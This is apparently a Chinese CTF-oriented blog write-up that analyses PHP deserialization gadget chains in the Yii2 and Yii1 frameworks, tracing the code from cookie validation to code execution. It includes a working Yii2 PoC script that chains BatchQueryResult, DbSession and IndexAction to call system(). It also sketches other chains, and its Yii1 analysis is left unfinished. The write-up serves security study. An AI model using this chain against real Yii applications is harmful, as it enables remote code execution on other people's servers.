Yii框架反序列化

前言

打了黄鹤杯的比赛,上了个Yii框架反序列化题目,好像是Yii1的,但是时间四个小时不太够,序列化的入口一个在Cookie,具体就没看了,打算跟一跟框架链子

Yii2框架反序列化

环境配置

直接下载源码进行分析即可,如果要运行服务,下载对应可运行的应用模板即可

exp

版本

yii-2.0.37

doing

我们登录进去之后看看cookie

1
_identity=53ac525ca3f606bcb499a53679c17a66546d47b38565aeb72a6589e14cb9955ba:2:{i:0;s:9:"_identity";i:1;s:28:"["100","test100key",2592000]";}

即为

1
2
3
4
5
6
7
# 对下面的序列化字符串hmac_sha256的加密结果-64bit字符串
8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68

# a:2表示是数组类型,且长度为2
# 花括号内的i:0;s:5:"_csrf"; i表示索引,s表示长度,后面表示值
# 反序列化后 ["_csrf", "lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe"]
a:2:{i:0;s:5:"_csrf";i:1;s:32:"lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe";}

我们跟进代码的入口
web#Request#loadCookies()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected function loadCookies()
{
$cookies = [];
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey == '') {
throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
}
foreach ($_COOKIE as $name => $value) {
if (!is_string($value)) {
continue;
}
$data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data === false) {
continue;
}
if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
$data = @unserialize($data, ['allowed_classes' => false]);
} else {
$data = @unserialize($data);
}
if (is_array($data) && isset($data[0], $data[1]) && $data[0] === $name) {
$cookies[$name] = Yii::createObject([
'class' => 'yii\web\Cookie',
'name' => $name,
'value' => $data[1],
'expire' => null,
]);
}
}
} else {
foreach ($_COOKIE as $name => $value) {
$cookies[$name] = Yii::createObject([
'class' => 'yii\web\Cookie',
'name' => $name,
'value' => $value,
'expire' => null,
]);
}
}

return $cookies;
}

这里默认开启Cookie校验
关键就是两处

1
2
3
4
5
6
7
$data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);

if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
$data = @unserialize($data, ['allowed_classes' => false]);
} else {
$data = @unserialize($data);
}

第一部分需要我们通过正确的hmac_sha256加密的所需要的密钥
第二部分如果php版本大于7,那么整个利用链就不存在了,所以得在低版本上
也许if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000)绕过这个就能进入纯粹的反序列化?

密钥

跟进校验逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function validateData($data, $key, $rawHash = false)
{
$test = @hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength = StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >= $hashLength) {
$hash = StringHelper::byteSubstr($data, 0, $hashLength);
$pureData = StringHelper::byteSubstr($data, $hashLength, null);

$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);

if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}

return false;
}

那么现在假设我们完成了前置任务,如何进行pop链子呢?
老规矩,全局搜索入口方法
这里看到只有一个类实现__destruct()

1
2
3
4
5
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}

这里调用了reset()方法,我们看看这个方法

1
2
3
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}

这里可以调用__call魔术方法
一眼Component#__call()

1
2
3
4
5
6
$this->ensureBehaviors();
foreach ($this->_behaviors as $object) {
if ($object->hasMethod($name)) {
return call_user_func_array([$object, $name], $params);
}
}

这个最多调用一个类的reset方法,考虑放弃
然后找到base/Component.php

1
2
3
4
5
6
7
8
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

return $this->prepareDataProvider();
}

现在关键就是,有那么一个方法,可以被入口类启动,又能调用指定类的run方法
翻了翻文章
说是web/DbSession.php#close()
但是实际并无触发点

1
实际并非,由于我看的是源码文件而不是应用模板文件,会错过很多东西()  

跟进close()

1
2
3
4
5
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}

跟进$this->composeFields()

1
2
3
4
5
6
7
8
9
10
11
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}

这里调用无参函数,直接调用run(),实现RCE

也有另一个思路看__call魔术方法
src/Faker/Generator.php

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

可控,即可以调用任意类的无参方法->run(),进行RCE
当然,有更多思路,还有能够RCE的无参方法吗? 有无其他入口类呢?
写下exp
直接反序列化要调一下,不然不能通过

1
if (!$this->getIsActive())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'calc';
}
}
}
namespace yii\db{

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{

use yii\rest\IndexAction;

class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}

namespace{

use yii\db\BatchQueryResult;

echo urlencode(serialize(new BatchQueryResult()));
}

按这种格式去调,不然有杂七杂八的错误了
另一个稍微改一下就行了()
起手再分析几条()
这里用的是RunProcess#__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

这里全局找__call方法
后面可以打Generate#__call->format->Component#run
后面也可以打

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));

return $res;
}

通过第一个任意类内方法调用触发一个__call返回值控制$res
再控制validator就可以RCE了

总之感觉Yii2的链子蛮多的,关键可能相对高版本会有一些限制,这时候针对绕过就行了,比如wakeup绕过或者其他

工具phpggc

标记

Yii1框架反序列化

版本

1.1.26

链子

赛题确实是这个版本,实际和2区别还是很大的
所以单独弄一下,也算是弥补一些遗憾吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function getCookies()
{
$cookies=array();
if($this->_request->enableCookieValidation)//这个没问题
{
$sm=Yii::app()->getSecurityManager();
foreach($_COOKIE as $name=>$value)
{
if(is_string($value) && ($value=$sm->validateData($value))!==false)
$cookies[$name]=new CHttpCookie($name,@unserialize($value));
}
}
else
{
foreach($_COOKIE as $name=>$value)
$cookies[$name]=new CHttpCookie($name,$value);
}
return $cookies;
}

跟进校验 发现没有太大问题,开始找链子
发现只有一个wakeup可行,网上也找到相关的链子该怎么走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function __wakeup()
{
$map=array();
$params=array();
foreach($this->params as $name=>$value)
{
if(strpos($name,self::PARAM_PREFIX)===0)
{
$newName=self::PARAM_PREFIX.self::$paramCount++;
$map[$name]=$newName;
}
else
{
$newName=$name;
}
$params[$newName]=$value;
}
if (!empty($map))
{
$sqlContentFieldNames=array(
'select',
'condition',
'order',
'group',
'join',
'having',
);
foreach($sqlContentFieldNames as $field)
{
if(is_array($this->$field))
foreach($this->$field as $k=>$v)
$this->{$field}[$k]=strtr($v,$map);
else
$this->$field=strtr($this->$field,$map);
}
}
$this->params=$params;
}

看该文章给了个链子,但是和实际题目给的hint不太符合,先跟着打一下

1
这里$this->params是可控的,继续看\framework\collections\CMapIterator.php这个类,这里利用了接口Iterator,关于这个接口的详细使用可以查看:https://blog.csdn.net/wuxing26jiayou/article/details/50977462 ,所以会调用到current方法,
1
2
3
4
public function current()
{
return $this->_d[$this->_key];
}
1
2
3
4
5
6
而php另外一个接口ArrayAccess返回实例化对象的数组形式,会直接调用offsetGet方法,在文件\framework\caching\CCache.php中,使用了这个接口

public function offsetGet($id)
{
return $this->get($id);
}

跟进关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($id)
{
$value = $this->getValue($this->generateUniqueKey($id));
if($value===false || $this->serializer===false)
return $value;
if($this->serializer===null)
$value=unserialize($value);
else
$value=call_user_func($this->serializer[1], $value);
if(is_array($value) && (!$value[1] instanceof ICacheDependency || !$value[1]->getHasChanged()))
{
Yii::trace('Serving "'.$id.'" from cache','system.caching.'.get_class($this));
return $value[0];
}
else
return false;
}

现在跟进如何控制value值

1
2
3
4
5
protected function getValue($key)
{
throw new CException(Yii::t('yii','{className} does not support get() functionality.',
array('{className}'=>get_class($this))));
}
1
2
3
4
5
protected function getValue($key)
{
throw new CException(Yii::t('yii','{className} does not support get() functionality.',
array('{className}'=>get_class($this))));
}

原链子版本这里还可以进一步操作,从而控制返回值
芭比Q了 断在这,现在跟一遍官方的思路()
hint的思路是

1
2
3
4
5
CComponent#evaluateExpression()方法存在代码执行  
而COutputCache#init()方法中最终可以走到那
现在的目的就是调用这个init方法
但是唯一的wakeup也走不到这里()
当时就卡这没招了

希望能早点出相关的链子吧()
到此为止吧

参考

https://jfanx1ng.github.io/2020/10/09/yii1%E5%92%8Cyii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://blog.csdn.net/m0_59598029/article/details/128989590
https://wanth3f1ag.top/2025/05/23/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Yii%E6%A1%86%E6%9E%B6/